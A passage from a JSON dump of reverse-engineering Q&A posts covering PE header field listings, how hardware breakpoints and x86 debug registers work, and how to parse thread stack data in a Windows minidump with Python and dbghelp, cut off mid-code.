&quot;Reserved words&quot;', dw[4] )\n(u'  14  28  word[4]  8  e_res[4]  &quot;Reserved words&quot;', dw[4] )\n(u'  14  28  word[4]  8  e_res[4]  &quot;Reserved words&quot;', dw[4] )\n(u'  14  28  word[4]  8  e_res[4]  &quot;Reserved words&quot;', dw[4] )\n(u'  15  36  word  2  e_oemid  &quot;OEM identifier (for e_oeminfo)&quot;', dw 0h)\n(u'  15  36  word  2  e_oemid  &quot;OEM identifier (for e_oeminfo)&quot;', dw 0h)\n(u'  16  38  word  2  e_oeminfo  &quot;OEM information; e_oemid specific&quot;', dw 0h)\n(u'  16  38  word  2  e_oeminfo  &quot;OEM information; e_oemid specific&quot;', dw 0h)\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  17  40  word[10]  20  e_res2[10]  &quot;Reserved words&quot;', dw[10] )\n(u'  18  60  dword  4  e_lfanew  &quot;File address of new exe header&quot;', ddw 108h)\n(u'  18  60  dword  4  e_lfanew  &quot;File address of new exe header&quot;', ddw 108h)\n(u'  18  60  dword  4  e_lfanew  &quot;File address of new exe header&quot;', ddw 108h)\n(u'  18  60  dword  4  e_lfanew  &quot;File address of new exe header&quot;', ddw 108h)\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n(u'  19  64  byte[64]  64  e_program  &quot;Actual DOS program&quot;', db[64] )\n</code></pre>\n"
    },
    {
        "Id": "28045",
        "CreationDate": "2021-07-25T18:15:06.473",
        "Body": "<p>In part 5 of the lena151 RE tutorial I saw the Hardware BP.\nThe explanation he gave was very difficult for me to understand.</p>\n<p>Can anyone explain what is a hardware breakpoint and when we need to use it?</p>\n",
        "Title": "What is Hardware Breakpoint and when we need to use it?",
        "Tags": "|breakpoint|",
        "Answer": "<p><strong>The short answer:</strong></p>\n<p>From the user point of view, software breakpoints are <em>only for instructions,</em> and you may set them <em>as many as you want</em>, while hardware breakpoints are <em>universal,</em> but you may use only a few of them (typically 4) at the same time.</p>\n<p><strong>TL,DR;</strong></p>\n<p>The hardware breakpoints are implemented by a special logic circuit <em>integrated directly in the CPU,</em> connected to</p>\n<ul>\n<li>the <em>address bus</em> on the one side, and</li>\n<li>the special <em>debug registers</em> on the other one.</li>\n</ul>\n<p><a href=\"https://i.stack.imgur.com/OFzl3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OFzl3.png\" alt=\"enter image description here\" /></a></p>\n<p>To set a hardware breakpoint, you fill the debug registers (generally indirectly by your debugger) with this information:</p>\n<ul>\n<li>the (starting) <strong>address</strong>,</li>\n<li>the <strong>length</strong> (byte, word, or double-word),</li>\n<li>the <strong>access mode</strong> to watch for (read, read/write, or instruction execution),</li>\n<li>the <strong>local/global</strong> mode (not used for the decision whether the code execution have to break).</li>\n</ul>\n<p>You may do it only for small number of addresses, it's hardware dependent, the common number is 2 to 6 (e.g. for x86 you may set 4 hardware breakpoints: addresses are written to the <em>debug registers DB0 to DB3</em>, while other info \u2014 for all addresses individually as appropriate bit flags \u2014 to the <em>DB7 register</em>).</p>\n<p>The circuit watches every access to the memory (RAM or ROM) and <em>compares address, length, and access mode</em> with values in the debug registers. If they correspond, the circuit sends the Halt signal and the debugger interrupts the execution of the debugged program.</p>\n<hr />\n<p>So the <strong>differences</strong> between hardware breakpoints (HB) and software ones (SB) are:</p>\n<ol>\n<li><p>In the <strong>number of them</strong>:</p>\n<ul>\n<li>you may set <em>as many SBs as you wish,</em> but</li>\n<li>only <em>very small number of HBs</em> (typically 4).</li>\n</ul>\n</li>\n<li><p>In <strong>usability</strong>:</p>\n<ul>\n<li>SB is set to a <em>particular instruction</em> (there is no way to set them for memory access), while</li>\n<li>HB is set to address ranges and for the desired access mode.</li>\n</ul>\n</li>\n<li><p>In the applicable <strong>type of memory</strong>:</p>\n<ul>\n<li>SB <em>writes</em> into memory (the <code>INT 3</code> instruction in the place of the first byte of the watched instruction), so <em>it is not capable to set a breakpoint for instruction in read-only memory (ROM),</em> while</li>\n<li>HB don't write anything into memory, so it has not such a limitation.</li>\n</ul>\n</li>\n<li><p>In the <strong>speed</strong> (hardware is always faster than software, so HB is faster than SB).</p>\n</li>\n</ol>\n<p>For example, if you know the address of some string in memory and you are interested <em>when</em> it will be read, SB doesn't help you, but HW does.</p>\n<hr />\n<p>Some references:</p>\n<ul>\n<li><a href=\"https://wiki.osdev.org/CPU_Registers_x86-64#DR0_-_DR3\" rel=\"nofollow noreferrer\">Debug registers for x86</a></li>\n<li><a href=\"https://hypervsir.blogspot.com/2014/09/debug-registers-on-intel-x86-processor.html\" rel=\"nofollow noreferrer\">Debug Registers on Intel x86 Processor Architecture (with or without VT-x)</a></li>\n<li><a href=\"https://www.sandpile.org/x86/drx.htm\" rel=\"nofollow noreferrer\">x86 architecture debug registers</a></li>\n</ul>\n"
    },
    {
        "Id": "28058",
        "CreationDate": "2021-07-28T03:56:21.000",
        "Body": "<p>I'm currently using Python3.9 in Linux to obtain the necessary information from a minidump file.  I used WinDBG on my windows system to check whether the information I got was right.</p>\n<p>While [1], [2] and [3] have helped, there are still some holes that aren't covered.  The purpose of this is to create a script that can disect the minidump.   I've managed to get the ThreadList, MemoryList, MemoryInfoList and moduleList.  But I'm missing the stack\ninformation, which seems to be within the MINIDUMP_THREAD info's Stack field as shown below:</p>\n<pre><code>typedef struct _MINIDUMP_THREAD {\n  ULONG32                      ThreadId;\n  ULONG32                      SuspendCount;\n  ULONG32                      PriorityClass;\n  ULONG32                      Priority;\n  ULONG64                      Teb;\n  MINIDUMP_MEMORY_DESCRIPTOR   Stack;\n  MINIDUMP_LOCATION_DESCRIPTOR ThreadContext;\n} MINIDUMP_THREAD, *PMINIDUMP_THREAD;\n</code></pre>\n<p>It's a MINIDUMP_MEMORY_DESCRIPTOR which has the following structure:</p>\n<pre><code>typedef struct _MINIDUMP_MEMORY_DESCRIPTOR {\n  ULONG64                      StartOfMemoryRange;\n  MINIDUMP_LOCATION_DESCRIPTOR Memory;\n} MINIDUMP_MEMORY_DESCRIPTOR, *PMINIDUMP_MEMORY_DESCRIPTOR;\n</code></pre>\n<p>The Memory field has the following structure:</p>\n<pre><code>typedef struct _MINIDUMP_LOCATION_DESCRIPTOR {\n  ULONG32 DataSize;\n  RVA     Rva;\n} MINIDUMP_LOCATION_DESCRIPTOR;\n</code></pre>\n<p>So all in all, the Stack.Rva contains the relative virtual address in the minidump file.</p>\n<p>Going to that address, I see 'stuff' but at this point in the documentation, there's no indication of what structure is stored there.   I thought it'd be a STACKFRAME structure (was grasping at straws) which is given as:</p>\n<pre><code>typedef struct _tagSTACKFRAME {\n  ADDRESS AddrPC;\n  ADDRESS AddrReturn;\n  ADDRESS AddrFrame;\n  ADDRESS AddrStack;\n  PVOID   FuncTableEntry;\n  DWORD   Params[4];\n  BOOL    Far;\n  BOOL    Virtual;\n  DWORD   Reserved[3];\n  KDHELP  KdHelp;\n  ADDRESS AddrBStore;\n} STACKFRAME, *LPSTACKFRAME;\n</code></pre>\n<p>But looking at the hex values, it doesn't make sense:</p>\n<pre><code>00 00 00 00 D1 F8 AF 77 29 16 6B 77 C8 01 00 00\n00 00 00 00 00 00 00 00 D0 87 C0 BD E0 60 85 00\nc8 01 00 00 28 c1 39 00 24 00 00 00 01 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n00 00 00 00 00 00 00 00 00 00 00 00 2B 00 2B 00\n87 02 21 00 00 00 00 00 AC BF 39 00 AB F0 6A 77\n...\n\n</code></pre>\n<p>That would mean AddrPC = {Offset: 00 00 00 00,\nSegment: D1 F8 AF 77,\nMode: 29}</p>\n<p>So I figured I'd cheat by running Windbg on this crashdump\nfile to find the corresponding info; but I don't see how the above\nhex dump can be translated to the following:</p>\n<pre><code>00 0039bf98 776b1629 000001c8 00000000 00000000 ntdll!NtWaitForSingleObject+0x15\n01 0039c004 75491194 000001c8 ffffffff 00000000 KERNELBASE!WaitForSingleObjectEx+0x98\n02 0039c01c 75491148 000001c8 ffffffff 00000000 kernel32!WaitForSingleObjectExtImplementation+0x75\n03 0039c030 5a581e3a 000001c8 ffffffff 00000000 kernel32!WatiForSingleObject+0x12\n...\n</code></pre>\n<p>While I can see some of the info from windbg's call stack, the information isn't a contiguous set of info.</p>\n<p>Unfortunately, my understanding of C++/C is limited at best so I couldn't grasp the information as given in [5]</p>\n<p>Might anyone have suggestion on how to reverse engineer the structure of what's at this address?</p>\n<p>I know it's some sort of structure that includes a list of stackframes; but the documentation at [1] doesn't specify what kind of structure.  I'm guessing there's a header and some array of structure.  Unfortunately, I haven't found (yet) documentation that shows a map of a minidump (akin to [4]).  Something like this would make my understanding easier.</p>\n<p><code>*Addendum:*</code></p>\n<p>Having worked on this on and off, I still haven't figured it out despite @blabb's help.  I went and took a look at [6] which points out the Stack structure for X86.  Having lost my original dump file, I used a new dump file.  I used a minidump_stackwalker binary that came up with the following:  (The rva of the crashing thread was 0x0141ff - binary dump follows)</p>\n<pre><code>\nCrash reason:  EXCEPTION_ACCESS_VIOLATION_READ\nCrash address: 0x8\n\nThread 0 (crashed)\n 0  k.dll + 0x310bf3f\n    eip = 0x5d42bf3f   esp = 0x0053bea0   ebp = 0x0053bf74   ebx = 0x0053bed0\n    esi = 0x00a1b000   edi = 0x0053bf98   eax = 0x00000008   ecx = 0x00000004\n    edx = 0x0053bfb0   efl = 0x00210287\n    Found by: given as instruction pointer in context\n 1  k.dll + 0x310bc3b\n    eip = 0x5d42bc3c   esp = 0x0053bf7c   ebp = 0x0053bfd8\n    Found by: previous frame's frame pointer\n 2  k.dll + 0x311e7b3\n    eip = 0x5d43e7b4   esp = 0x0053bfe0   ebp = 0x0053c004\n    Found by: previous frame's frame pointer\n 3  k.dll + 0x3280958\n    eip = 0x5d5a0959   esp = 0x0053c00c   ebp = 0x0053c064\n    Found by: previous frame's frame pointer\n...\n</code></pre>\n<p>binary dump at 0x0141ff:</p>\n<pre><code>000141f0h: FC EC 23 00 00 00 00 AC 03 00 00 34 7B 03 00 8B\n00014200h: 55 18 8B 45 0C FF 24 8D CC 4A D7 5D C7 44 24 14\n00014210h: 00 00 00 00 8D 4E 10 89 4C 24 0C 8B 56 10 89 54\n00014220h: 24 10 8D 54 24 0C 89 56 10 8B 00 89 44 24 04 8B\n00014230h: 07 89 44 24 38 89 4c 24 30 89 54 24 34 c7 44 24\n...\n</code></pre>\n<p>From what I gathered from [6], since this is a x86 binary,\nI assumed [possibly wrongly] that it'd be using the\nstack structure as given by [6] and not [7].</p>\n<p>That would mean the context_flags starts at 0x000141ff which gives me 8B 55 18 8B.  From the comments in [6], this context_flag means this stack is a MD_CONTEXT_X86_ALL.  So after using the following script:</p>\n<pre><code>#!/bin/env python\n\nimport os\nimport sys\n\n\n\nhdrs_x86 = {\n    &quot;context_flags&quot;: 4,\n    &quot;dr0&quot;: 4,\n    &quot;dr1&quot;: 4,\n    &quot;dr2&quot;: 4,\n    &quot;dr3&quot;: 4,\n    &quot;dr6&quot;: 4,\n    &quot;dr7&quot;: 4,\n    &quot;fs_control_word&quot;: 4,\n    &quot;fs_status_word&quot;: 4,\n    &quot;fs_tag_word&quot;: 4,\n    &quot;fs_error_offset&quot;: 4,\n    &quot;fs_error_selector&quot;: 4,\n    &quot;fs_data_offset&quot;: 4,\n    &quot;fs_data_selector&quot;: 4,\n    &quot;fs_register_area&quot;: (1, 80),\n    &quot;fs_cr0_npx_state&quot;: 4,\n    &quot;gs&quot;: 4,\n    &quot;fs&quot;: 4,\n    &quot;es&quot;: 4,\n    &quot;edi&quot;: 4,\n    &quot;esi&quot;: 4,\n    &quot;ebx&quot;: 4,\n    &quot;edx&quot;: 4,\n    &quot;ecx&quot;: 4,\n    &quot;eax&quot;: 4,\n    &quot;ebp&quot;: 4,\n    &quot;eip&quot;: 4,\n    &quot;cs&quot;: 4,\n    &quot;eflags&quot;: 4,\n    &quot;esp&quot;: 4,\n    &quot;ss&quot;: 4,\n    &quot;extended_registers&quot;: (1, 80)\n}\n\nhdrs_x64 = {\n    &quot;p1_home&quot;: 8,\n    &quot;p2_home&quot;: 8,\n    &quot;p3_home&quot;: 8,\n    &quot;p4_home&quot;: 8,\n    &quot;p5_home&quot;: 8,\n    &quot;p6_home&quot;: 8,\n    &quot;context_flags&quot;: 4,\n    &quot;mx_csr&quot;: 4,\n    &quot;cs&quot;: 2,\n    &quot;ds&quot;: 2,\n    &quot;es&quot;: 2,\n    &quot;fs&quot;: 2,\n    &quot;gs&quot;: 2,\n    &quot;ss&quot;: 2,\n    &quot;eflags&quot;: 4,\n    &quot;dr0&quot;: 8,\n    &quot;dr1&quot;: 8,\n    &quot;dr2&quot;: 8,\n    &quot;dr3&quot;: 8,\n    &quot;dr6&quot;: 8,\n    &quot;dr7&quot;: 8,\n    &quot;rax&quot;: 8,\n    &quot;rcx&quot;: 8,\n    &quot;rdx&quot;: 8,\n    &quot;rbx&quot;: 8,\n    &quot;rsp&quot;: 8,\n\n    &quot;rsp&quot;: 8,\n    &quot;rbp&quot;: 8,\n    &quot;rsi&quot;: 8,\n    &quot;rdi&quot;: 8,\n    &quot;r8&quot;: 8,\n    &quot;r9&quot;: 8,\n    &quot;r10&quot;: 8,\n    &quot;r11&quot;: 8,\n    &quot;r12&quot;: 8,\n    &quot;r13&quot;: 8,\n    &quot;r14&quot;: 8,\n    &quot;r15&quot;: 8,\n    &quot;rip&quot;: 8\n}\n\nMDCTXX86 = 0x00010000\nMDCTXX86_CONTROL = MDCTXX86 | 0x00000001\nMDCTXX86_INTEGER = MDCTXX86 | 0x00000002\nMDCTXX86_SEGMENTS = MDCTXX86 | 0x00000004\nMDCTXX86_FLOATING_POINT = MDCTXX86 | 0x00000008\nMDCTXX86_DEBUG_REGISTERS = MDCTXX86 | 0x00000010\nMDCTXX86_EXTENDED_REGISTERS = MDCTXX86 | 0x00000020\nMDCTXX86_XSTATE = MDCTXX86 | 0x00000040\n\nMDCTXX86_FULL = MDCTXX86_CONTROL | MDCTXX86_INTEGER | MDCTXX86_SEGMENTS\n\nALL_P1 = MDCTXX86_FULL | MDCTXX86_FLOATING_POINT \nALL_P2 = MDCTXX86_DEBUG_REGISTERS | MDCTXX86_EXTENDED_REGISTERS\nMDCTXX86_ALL = ALL_P1 | ALL_P2 \n\n\ndef rev_item(in_bytes, no_rev=False):\n    tmp = [x for x in in_bytes]\n    if not no_rev:\n        tmp.reverse()\n    retval = []\n    for item in tmp:\n        hv = hex(item).replace(&quot;0x&quot;, &quot;&quot;)\n        if len(hv) &lt; 2:\n            hv = &quot;0&quot; + hv\n        retval.append(hv)\n    return retval\n\n\ndef is_dr(in_ctx, in_item):\n    return in_ctx is not None and \\\n        in_item in [&quot;dr0&quot;, &quot;dr1&quot;, &quot;dr2&quot;, &quot;dr3&quot;, &quot;dr6&quot;, &quot;dr7&quot;] and \\\n        in_ctx &amp; MDCTXX86_DEBUG_REGISTERS &gt; 0\n\n\ndef is_seg(in_ctx, in_item):\n    return in_ctx is not None and \\\n        in_item in [&quot;gs&quot;, &quot;fs&quot;, &quot;es&quot;, &quot;ds&quot;] and \\\n        in_ctx &amp; MDCTXX86_SEGMENTS\n\n\ndef is_int(in_ctx, in_item):\n    return in_ctx is not None and \\\n        in_item in [&quot;edi&quot;, &quot;esi&quot;, &quot;ebx&quot;, &quot;edx&quot;, &quot;ecx&quot;, &quot;eax&quot;] and \\\n        in_ctx &amp; MDCTXX86_INTEGER\n\n\ndef is_fp(in_ctx, in_item):\n    return in_ctx is not None and \\\n        in_item.startswith(&quot;fs_&quot;) and \\\n        in_ctx &amp; MDCTXX86_FLOATING_POINT\n\n\ndef is_control(in_ctx, in_item):\n    return in_ctx is not None and \\\n        in_item in [&quot;ebp&quot;, &quot;eip&quot;, &quot;cs&quot;, &quot;eflags&quot;, &quot;esp&quot;, &quot;ss&quot;] and \\\n        in_ctx &amp; MDCTXX86_CONTROL\n\n\ndef is_ext_reg(in_ctx, in_item):\n    return in_ctx is not None and \\\n        in_item in ['extended_registers'] and \\\n        in_ctx &amp; MDCTXX86_EXTENDED_REGISTERS\n\n\ndef check_for_ctx(in_ctx, in_item):\n    retval = False\n    for itemfn in [is_dr, is_seg, is_int, is_fp,\n                   is_control, is_ext_reg]:\n        retval = itemfn(in_ctx, in_item)\n        if retval:\n            break\n\n    return retval\n\n\nres = []\nres2 = []\n\nhdrv = {}\n\nhdrs = hdrs_x86\n\nwith open(&quot;e:\\\\test.dmp&quot;, 'rb') as fp:\n    addr = 0x141ff\n    fp.seek(addr)\n    ctx = None\n    for item, item_rl in hdrs.items():\n        read_len = item_rl\n        add_item = False\n\n        if isinstance(item_rl, tuple):\n            vr = []\n            read_len = item_rl[0]\n            for i in range(item_rl[1]):\n                tmp = fp.read(read_len)\n                tmph = tmp.hex().replace(&quot;0x&quot;, &quot;&quot;)\n                vr.append(tmph)\n            read_len = item_rl[1]\n        else:\n            v = fp.read(item_rl)\n            vr = rev_item(v, no_rev=True)\n            if item == &quot;context_flags&quot;:\n                ctx = int(&quot;&quot;.join(vr), 16)\n\n        if check_for_ctx(ctx, item):\n            if item not in hdrv:\n                hdrv[item] = vr\n        addr += read_len\n\nfor item, iteminfo in hdrv.items():\n    print(item, &quot;&quot;.join(iteminfo))\n</code></pre>\n<p>It displays</p>\n<pre><code>dr0 450cff24\ndr1 8dcc4ad7\ndr2 5dc74424\ndr3 14000000\ndr6 008d4e10\ndr7 894c240c\nfs_control_word 8b561089\nfs_status_word 5424108d\nfs_tag_word 54240c89\nfs_error_offset 56108b00\nfs_error_selector 89442404\nfs_data_offset 8b078944\nfs_data_selector 2438894c\nfs_register_area 243089542434c744242c00000000894c24248d442438895c24288d4c2424894e108d4c242c31ff515056e89a6adfff83c40c84c074178d4424186a09ff74243050e813aedfff83c40c8b7c24188b4424\nfs_cr0_npx_state 248b4c24\ngs 2889088b\nfs 4424308b\nes 4c243489\nedi 08897c24\nesi 1485ffb3\nebx 010f841a\nedx 0300008d\necx 4424148b\neax 54240489\nebp d1c1f91f\neip 6a005152\ncs e9de0200\neflags 000fbe00\nesp e94d0100\nss 00c74424\nextended_registers 14000000008d4e10894c240c8b5610895424108d54240c8956108b00894424048b0789442438894c243089542434c744242c00000000894c24248d442438895c24288d4c2424894e108d4c242c31ff51\n\n</code></pre>\n<p>But this doesn't make any sense as it doesn't even bear any resemblance to what's given in the results.  Like I got <code>d1c1f91f</code> as the EBP, but it's actually <code>0x0053BF74</code>\nErgo, I've misunderstood this whole thing.</p>\n<p><code>*Additional Addendum*</code>:\nThe addendum was wrong on two points.</p>\n<ol>\n<li>I was barking up the wrong tree. I mistook the <code>minidump Memory info</code> list as where the stack was.</li>\n<li>I was working on the same minidump.  Just was confused with\nwhat section I was working on.</li>\n</ol>\n<p>I've opted to keep the Addendum section and not delete it. (Along the lines of 1000 ways of not doing something.)</p>\n<p>Any help greatly appreciated,</p>\n<p>:ewong</p>\n<p>[1] - <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/</a></p>\n<p>[2] - <a href=\"https://github.com/utds3lab/sigpath/blob/master/scripts/minidump.py\" rel=\"nofollow noreferrer\">https://github.com/utds3lab/sigpath/blob/master/scripts/minidump.py</a></p>\n<p>[3] - <a href=\"https://github.com/libyal/libmdmp/blob/main/documentation/Minidump%20%28MDMP%29%20format.asciidoc#thread_information_stream\" rel=\"nofollow noreferrer\">https://github.com/libyal/libmdmp/blob/main/documentation/Minidump%20%28MDMP%29%20format.asciidoc#thread_information_stream</a></p>\n<p>[4] - <a href=\"https://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/Portable_Executable_32_bit_Structure_in_SVG_fixed.svg/1920px-Portable_Executable_32_bit_Structure_in_SVG_fixed.svg.png\" rel=\"nofollow noreferrer\">https://upload.wikimedia.org/wikipedia/commons/thumb/1/1b/Portable_Executable_32_bit_Structure_in_SVG_fixed.svg/1920px-Portable_Executable_32_bit_Structure_in_SVG_fixed.svg.png</a></p>\n<p>[5] - <a href=\"https://chromium.googlesource.com/breakpad/breakpad/+/refs/heads/main/src/client/minidump_file_writer.cc\" rel=\"nofollow noreferrer\">https://chromium.googlesource.com/breakpad/breakpad/+/refs/heads/main/src/client/minidump_file_writer.cc</a></p>\n<p>[6] - <a href=\"https://github.com/google/breakpad/blob/main/src/google_breakpad/common/minidump_cpu_x86.h\" rel=\"nofollow noreferrer\">https://github.com/google/breakpad/blob/main/src/google_breakpad/common/minidump_cpu_x86.h</a></p>\n<p>[7] - <a href=\"https://github.com/google/breakpad/blob/main/src/google_breakpad/common/minidump_cpu_amd64.h\" rel=\"nofollow noreferrer\">https://github.com/google/breakpad/blob/main/src/google_breakpad/common/minidump_cpu_amd64.h</a></p>\n",
        "Title": "What is the structure of the Stack in a minidump?",
        "Tags": "|windbg|stack|",
        "Answer": "<p>the rva does not seem to point to _tagSTACKFRAME64  the size appears to be different\n0x108 versus 0x4d0</p>\n<p>is there a specific reason to use dbghelp ?</p>\n<p>outputstacktrace from dbgeng is not acceptable?</p>\n<p><a href=\"https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/idiaenumstackframes?view=vs-2019\" rel=\"nofollow noreferrer\">have you looked at the com interfaces of DIA_SDK for an alternative</a></p>\n<p>checked an arbitrary dump for sizeof(_tagStackFrame) versus size in dump using code below</p>\n<pre><code>#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;dbghelp.h&gt;\n#pragma comment(lib, &quot;dbghelp.lib&quot;)\nint main(void)\n{\n    HANDLE hFile = NULL;\n    hFile = CreateFileA(\n        &quot;tdump.dmp&quot;, GENERIC_READ, 0, NULL, OPEN_EXISTING,\n        FILE_ATTRIBUTE_NORMAL, NULL);\n    if (hFile != INVALID_HANDLE_VALUE)\n    {\n        printf(&quot;file handle is %p\\n&quot;, hFile);\n        HANDLE hMapFile = NULL;\n        hMapFile = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);\n        if (hMapFile != NULL)\n        {\n            printf(&quot;file Map handle is %p\\n&quot;, hMapFile);\n            LPVOID lpMapAddress = NULL;\n            lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, 0);\n            if (lpMapAddress != NULL)\n            {\n                printf(&quot;view of map file is %p\\n&quot;, lpMapAddress);\n                PMINIDUMP_DIRECTORY dudir = NULL;\n                PVOID strptr = NULL;\n                ULONG ssiz = 0;\n                BOOL res = FALSE;\n                res = MiniDumpReadDumpStream(lpMapAddress, 3, &amp;dudir, &amp;strptr, &amp;ssiz);\n                if (res &amp;&amp; strptr != NULL)\n                {\n                    PMINIDUMP_THREAD_LIST tlist = (PMINIDUMP_THREAD_LIST)strptr;\n                    for (ULONG32 i = 